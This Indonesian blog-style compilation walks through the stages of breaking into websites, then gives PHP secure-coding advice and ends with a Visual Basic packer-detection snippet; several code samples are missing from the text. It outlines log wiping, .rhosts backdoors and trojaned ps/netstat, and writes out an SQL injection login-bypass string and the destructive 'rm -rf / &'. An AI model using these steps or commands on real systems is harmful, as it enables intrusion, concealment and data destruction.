Hmmm bagaimana secara singkat lebih jauh proses hacking ini dilakukan? Untuk dapat mengakses ke dalam sebuah situs biasanya melalui beberapa proses terlebih dulu, seperti hal-nya dinas intelejen, kita harus tahu persis segala sesuatu tentang perusahaan & situs yang akan kita masuki, rencana melarikan diri kalau ada apa-apa dsb. Proses intelejen ini dilakukan dalam tiga (3) tahapan besar, yaitu footprinting, scanning & enumeration. Footprinting untuk mengetahui seberapa besar scope / wilayah serangan bisa dilihat dari berbagai file HTML perusahaan tsb, perintah whois, host, dig, nslookup pada Linux untuk melihat scope host yang perlu di serang / di amankan. Scanning untuk melihat servis apa saja yang ada di mesin-mesin tersebut, topologi jaringan dsb. bisa dilakukan mengunakan perintah ping, traceroute, nmap, strobe, udp_scan, netcat di Linux & terakhir Cheops untuk melakukan network mapping. Enumeration sistem operasi yang jalan di server target apakah Windows NT/2000 / Linux / Netware. Program seperti snmputil, enum, dumpsec, showmount, rcpinfo, finger menjadi sangat “handy”.
Setelah proses intelejen di lakukan dengan baik proses serangan dapat mulai dikerjakan. Seperti kita tahu, umumnya berbagai perusahaan / dotcommers akan menggunakan Internet untuk (1) hosting web server mereka, (2) komunikasi e-mail dan (3) memberikan akses web / internet kepada karyawan-nya. Pemisahan jaringan Internet dan IntraNet umumnya dilakukan dengan menggunakan teknik / software Firewall dan Proxy server. Detail sepuluh (10) besar serangan di Internet bisa dibaca di http://www.sans.org/topten.html. Melihat kondisi penggunaan di atas, kelemahan sistem umumnya dapat di tembus misalnya dengan menembus mailserver external / luar yang digunakan untuk memudahkan akses ke mail keluar dari perusahaan. Selain itu, dengan menggunakan agressive-SNMP scanner & program yang memaksa SNMP community string dapat mengubah sebuah router menjadi bridge (jembatan) yang kemudian dapat digunakan untuk batu loncatan untuk masuk ke dalam jaringan internal perusahaan (IntraNet).
Agar hacker terlindungi pada saat melakukan serangan, teknik cloacking (penyamaran) dilakukan dengan cara melompat dari mesin yang sebelumnya telah di compromised (ditaklukan) melalui program telnet atau rsh. Pada mesin perantara yang menggunakan Windows serangan dapat dilakukan dengan melompat dari program Wingate / proxy server; dapat melalui unauthenticated SOCKproxy port 1080 atau open Web proxy port 80, 81, 8000, 8080. Daftar WinGate server di maintain oleh CyberArmy di http://www.cyberarmy.com/wingate/.
Langkah selanjutnya, hacker akan mengidentifikasi komponen jaringan yang dipercaya oleh system apa saja. Komponen jaringan tersebut biasanya mesin administrator dan server yang biasanya di anggap paling aman di jaringan. Start dengan check akses & eksport NFS ke berbagai direktori yang kritis seperti /usr/bin, /etc dan /home. Eksploitasi mesin melalui kelemahan Common Gateway Interface (CGI), dengan akses ke file /etc/hosts.allow.
Selanjutnya hacker harus mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan. Hacker bisa mengunakan program di Linux seperti ADMhack, mscan, nmap dan banyak scanner kecil lainnya. Program seperti 'ps' & 'netstat' di buat trojan (ingat cerita kuda troya? dalam cerita klasik yunani kuno) untuk menyembunyikan proses scanning. Bagi hacker yang cukup advanced dapat mengunakan aggressive-SNMP scanning untuk men-scan peralatan dengan SNMP.
Setelah hacker berhasil mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan, maka hacker akan menjalan program untuk menaklukan program daemon yang lemah di server. Cara paling sederhana menggunakan script kiddies yang tersedia di Internet di http://www.technotronics.com / http://www.hackingexposed.com seperti cgiscan.c, phfscan.c dsb. Program daemon adalah program di server yang biasanya berjalan di belakang layar (sebagai daemon / setan). Keberhasilan menaklukan program daemon ini akan memungkinkan seorang Hacker untuk memperoleh akses sebagai ‘root’ (administrator tertinggi di server).
Untuk menghilangkan jejak, seorang hacker biasanya melakukan operasi pembersihan 'clean-up‘ operation dengan cara membersihkan berbagai log file. Program seperti zap, wzap, wted, remove akan membantu. Walaupun simpel text editor seperti vi dapat juga melakukan pekerjaan itu. Jangan lupa menambahkan program 'backdooring' dengan cara Mengganti file .rhosts di /usr/bin untuk memudahkan akses ke mesin yang di taklukan melalui rsh & csh. Selanjutnya seorang hacker dapat menggunakan mesin yang sudah ditaklukan untuk kepentingannya sendiri, tapi seorang hacker yang baik akan memberitahukan sistem administrator tentang kelemahan sistemnya & tidak akan pernah menjalankan perintah ‘rm –rf / &’.
Oleh karena itu semua mesin & router yang menjalankan misi kritis sebaiknya selalu di periksa keamanannya & di patch oleh software yang lebih baru. Backup menjadi penting sekali terutama pada mesin-mesin yang menjalankan misi kritis supaya terselamatkan dari ulah cracker yang men-disable sistem dengan ‘rm –rf / &’.
Cukup banyak situs di Internet yang bisa menjadi basis pengetahuan underground, beberapa diantara-nya berbahasa Indonesia seperti Kecoa Elektronik http://www.k-elektronik.org, Hackerlink http://www.hackerlink.or.id, maupun Anti-hackerlink (entah dimana lokasinya). Referensi terbaik mungkin bisa dibaca di berbagai situs di luar negeri seperti http://packetstorm.securify.com, http://www.hackingexposed.com, http://neworder.box.sk, http://www.sans.org, http://www.rootshell.com.
Sedikit Menutup Celah Keamanan....
1. PHP (Personal Home Page)
PHP adalah Personal Home Page, sebuah bahasa scripting yang dibundel dengan HTML, yang dijalankan di sisi server. Sebagain besar intinya berasal dari C, Java dan Perl dengan beberapa tambahan fungsi khusus PHP. Bahasa ini memungkinkan para pembuat aplikasi web menyajikan halaman HTML dinamis dan interaktif dengan cepat dan mudah, yang dihasilkan server. PHP juga dimaksudkan untuk mengganti teknologi lama seperti CGI (Common Gateway Interface). Sepertinya saya telah menjelaskannya di artikel PHP . Ada banyak applikasi PHP yang sudah jadi yang diberikan oleh penyedia jasa domain sehingga kita tinggal setting dan bisa langsung dipakai tanpa memerlukan pemrograman lagi. Misalnya PHPMyAdmin, PHPShop and FreeTrade, PHPNuke. Namun applikasi PHP yang sudah jadi yang diberikan oleh penyedia jasa domain tersebut mengandung beberapa celah keamanan (security holes). Lalu apa yang harus kita lakukan untuk menutup celah keamanan tersebut? Mari kita pelajari bagaimana membuat kode PHP sehingga kode kita tersebut aman dari Celah Keamanan (security holes).

hacker dapat saja mengatur variable $lib_dir or $page sehingga menampilkan file /etc/passwd atau secara remote memasukkan malicious code ke http://www.webmu.com/script.php sehingga mampu menghapus file, memodifikasi database atau merubah beberapa nilai variable dalam status authentikasi. Perbaikan yang mungkin dilakukan
1. Hindari menggunakan variable dangan nama file. variable $lib_dir diatas dapat diganti dengan nama yang telah ditentukan PHP define function.
2. Check nama file sehingga berbeda dengan nama file yang valid,
misal:

3. Jangan mempercayai global variable untuk memastikan variable tidak bisa di set secara malicious.
4. Gunakan konfigurasi allow_url_fopen dan open_basedir variable untuk membatasi lokasi pembukaan file.
2. Escape charachter pada SQL statements
Kesalahan program yang sering terjadi pada bagian ini adalah penggunaan nilai variable yang dapat digunakan user atau URL dalam SQL queery tanpa 'escape karakter' khusus. Perhatikan bagian code dari salah satu script yang digunakan untuk metode authentikasi username dan password dalam form HTML berikut:

Code diatas akan berjalan apabila diakses dengan 'check.php?username=admin&password=x'. Jika kode tersebut diakses dengan 'check.php?username=admin&password=a%27+OR+1%3Di%271' (dan jika magic_quotes_gpc di disable) maka kondisi passwordnya akan menjadi Password='a' atau 1='1' sehingga user record akan selalu diterima apapun isi paswordnya.
Masalah ini dapat dihindari jika variable magic_quotes_gpc di set 'on' pada file php.ini, artinya PHP akan mengeluarkan charachter 'quote' dalam data GET, POST, dan cookie lalu digantikan dengan charachter '\'. Umumnya magic_quotes_gpc di disable karena dapat menyebabkan code yang lain berjalan tidak semestinya. Pemberian data yang berisi echo $username pada bagian contoh code diatas akan mengakibatkan tanda ' akan diganti dengan \'. Variable magic_quotes_gpc tidak akan memprotect nilai variable yang didapat dari database record.
Search fungsi queery pada database kamu. Misal, kalau menggunakan MySQL, stringnya penggunaannya adalah fungsi mysql_db_query.
perbaikan yang mungkin dilakukan
1. Gunakan fungsi built-in addslashes atau gunakan fungsi escape quote dan backslash dalam
pernyataan\SQL dengan backslash (\).
2. Enable magic_quotes_gpc pada php.ini, tapi jangan terlalu mengandaklkan yang satu ini.(pengenablean
setting ini ketika menggunakan addslashes akan menciptakan error).
3. Kalau kamu menggunakan variable yang kemungkinan mengandung angka dalam pernyataan SQL, pastikan bahwa benar2 berisi angka. Kamu dapat memilih berbagai macam built-in fungsi PHP termasuk sprintf, ereg, dan is_long, untuk melakukan pengecekan.
3. Buat setiap halaman selalu memeriksa apakah variabel session $_SESSION['login'] telah diinisiasi.
File main.php adalah file yang akan dipanggil apabila username dan password yang dimasukkan pada halaman login.php berhasil melewati cekpswd.php. Lihat contoh File main.php dibawah ini
Main Page

Inilah yang nantinya bisa dikembangkan untuk menyusun aplikasi-aplikasi web yang diperuntukkan bagi mereka yang login. Apakah mungkin user yang belum login dapat langsung menuju ke halaman main.php? Mungkin saja apabila ia langsung mengetikkan “http://xxx/main.php” di bagian alamat url/address browser. Oleh karena itu harus diberi pagar agar user tersebut tidak main selonong saja. Jika seandainya aplikasi Anda terdiri dari beberapa halaman, maka pada prinsipnya setiap halaman harus diberi skrip pagarnya sebagai berikut:

Di bawah skrip ini baru diberikan tag-tag HTML atau skrip PHP lain yang menyusun aplikasi. Dengan demikian setiap halaman selalu memeriksa apakah variabel session $_SESSION['login'] telah diinisiasi. Jika belum, maka redirection akan beraksi dan menavigasikan/mengarahkan user untuk kembali ke halaman login.php. Penjelasan kode pagar tersebut adalah Sebelumnya pada bagian awal dari file ini diperiksa terlebih dahulu apakah variabel $_SESSION[‘login’] sudah pernah diinisiasi dengan fungsi isset(). Seandainya belum, itu artinya user yang mengakses halaman main.php belum login. Jika demikian, maka orang tersebut akan diarahkan menuju ke halaman login.php untuk login terlebih dahulu. Tips untuk anda dalam membuat username maupun password adalah hindari penggunaan username yang umum dan mudah ditebak seperti admin, sa, administrator, dll. Password yang baik, misalnya harus terdiri dari kombinasi huruf dan angka, ataupun untuk lebih meningkatkan keamanan maka anda harus mengganti password secara berkala.
4. Bahaya Input Komentar
Sebuah website biasanya mencoba untuk berinteraksi dengan pengunjung dengan jalan menyediakan fasilitas agar pengguna dapat mengisikan sesuatu, misalnya saja komentar, atau guest-book, atau yang lebih modern lagi, yaitu shoutbox. Sayangnya, jika website Anda
dikunjungi oleh seseorang yang iseng, maka bisa jadi sebuah malicious code (script jahat )dapat turut menjadi “komentar” dan ini bukan berita baik bagi website Anda. Ilustrasinya adalah sebagai berikut, Anda mengisikan guest-book katakanlah pada alamat http://webku.com/guestbook.php dengan komentar berikut:
Website yang aman...
Perhatikan bahwa terdapat JavaScript pada komentar tersebut. Jika komentar tersebut dapat diterima dan dieksekusi oleh website, maka setiap kali ada pengunjung yang mengaksesnya, akan tampil sebuah pesan bertuliskan “tapi bohong...”.
Cukup mengganggu, bukan? Tidak hanya sampai di sana, jika sebuah website telah dapat disusupi dengan cara seperti ini, maka banyak sekali kemungkinan script berbahaya yang dapat ditanamkan.
Misalkan script untuk mengalihkan website webku.com ke website lain, script untuk menampilkan gambar porno (yang dapat dilakukan dengan HTML biasa) atau script untuk mengambil informasi seperti cookie. Cukup berbahaya, bukan?
Langkah pencegahannya, antara lain dengan tidak langsung mengizinkan komentar yang masuk tampil pada browser Anda, harus melalui proses approve. Hal ini membutuhkan kerja seorang administrator yang bertugas melakukan filter komentar yang masuk dan berhak menolak komentar yang tidak diinginkan.
Walaupun tidak berarti semua website yang memberlakukan filter seperti ini berarti menyadari akan bahaya kebobolan melalui script injection ini. Karena bisa saja hal ini dilakukan dengan alasan menghindari penggunaan kata-kata tertentu.
Cara pencegahan yang lain adalah dengan menolak penulisan script atau tag HTML, dengan resiko tampilan komentar menjadi datar tanpa aksesoris karena tag-tag HTML untuk melakukan variasi huruf (bold, italic, dan lain-lain) tidak dapat digunakan.
Tetapi jika Anda membutuhkannya, Anda dapat membuat sen-diri aturan dan penulisan tag, misalnya [:bold] untuk membuat huruf menjadi bold, dan seterusnya. Tag buatan Anda tersebut akan disubsitusikan secara otomatis dengan tag HTML sehingga tampilannya sesuai seperti yang diinginkan. Beberapa engine forum telah menggunakan metode ini.
Sekarang sudah tahukan sedikit trick untuk menutup celah keamanan web kita, Semoga apa yang saya tuliskan di atas dapat menambah pengetahuan anda mengenai celah keamanan sehingga anda lebih berhati-hati dalam mendesain sebuah website dan agar website anda aman dari ulah hacker yang sedikit usil hehehe…
Packer Checker???







PEiD detects most common packers, cryptors and compilers for PE files. It can currently detect more than 600 different signatures in PE files(readme.txt) Peid dapat mendeteksi sebagian besar pakers umum,umumnya dapat mendeteksi lebih dari 600 signature yang berbeda pada file Executable. Lalu bagaimana cara kerja peid?peid akam mendeteksi String suatu file Executable apakah di dalamnya terdapat signature atau tanda jika ada tanda tersebut maka golongkan packernya. Signature tersebut telah di daftar sebagai sebuah kumpulan database,Yah mirip2 teknik antivirus gitu deh dalam mengenali virus. Nah untuk lebih jelasnya mari kita buka file yang kita pack dengan UPX, signature apakah yang selalu terkandung didalamnya??
Ternyata file yang kita pack dengan UPX selalu mengandung string “UPX” ,dan setelah penulis melakukan beberapa ujicoba pengepack-an dengan beberapa packer ternyata sebagian packer meninggalkan string nama packernya pada file yang telah dipack.misalnya..
lalu bagai mana cara kita membuat program agar dapat membuka sebuah file Executable? Lanjut ke project:

Sedikit penjelasan:Open alamat For Binary As #1
sTemp = Space(LOF(1))
Get #1, , sTemp
Close #1
file Executable dibuka dalam mode binary, dan seluruh isinya langsung ditampung ke dalam sebuah variable. Lalu dengan referensi dari string yang telah ditentukan misal string “UPX1” lalu dengn logika if-then-else kita bisa mengecek apakah string tersebut terdapat didalam suatu file Executable.
If InStr(sTemp, (Combo1.Text)) Then _
MsgBox "Ini packernya" Else _
MsgBox "bukan Ini packernya"
End Function
Jika terdapat string seperti pada ComboBox maka keluarkan pesan "Ini packernya" jika tidak maka akan keluarkan pesan "bukan Ini packernya".
Coba jalankan programnya:
Code diatas masih sangat sederhana anda dapat mengembangkannya sendiri seperti membuat database diluar program ini agar data string dapat terus di tambah atau diupdate.Semua yang ada dalam artikel ini hanya untuk pembelajaran semata.. semoga bermanfaat bagi kita semua

